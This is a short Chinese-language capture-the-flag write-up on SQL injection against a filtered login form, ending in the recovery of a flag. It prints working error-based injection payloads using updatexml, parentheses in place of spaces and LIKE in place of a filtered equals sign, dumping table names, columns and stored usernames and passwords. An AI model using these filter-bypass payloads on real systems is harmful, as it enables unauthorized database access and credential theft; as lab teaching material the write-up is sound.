首先万能密码 admin'#,报出密码错误。
admin' union select 1,2,3#查询报出密另一种错误，开来是检测到恶意字符了。
先考虑union绕过，
单独拿出来试，大小写注释双写等都无法报出 wrong password 这个错误信息，说明没有绕过检测成功。
select通过以上方法也是无法绕。
好多检测过滤不掉了，联合查询此题看来是无法用了。
尝试报错注入。
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#或者用异或代替or
admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到数据库
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database)),0x7e),1))#
用括号进行绕过空格。
updatexml concat select，information往后逐个检测是否有过滤，检查到等于号时
发现等于号原来也被过滤了，可用like进行代替。
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
只得到左边的flag，看来是对数据库的数据显示有长度限制，只显示了左边的26个字符
网上的一个骚姿势是用right函数right(password,27)显示右边的26个字符
拼接得到flag。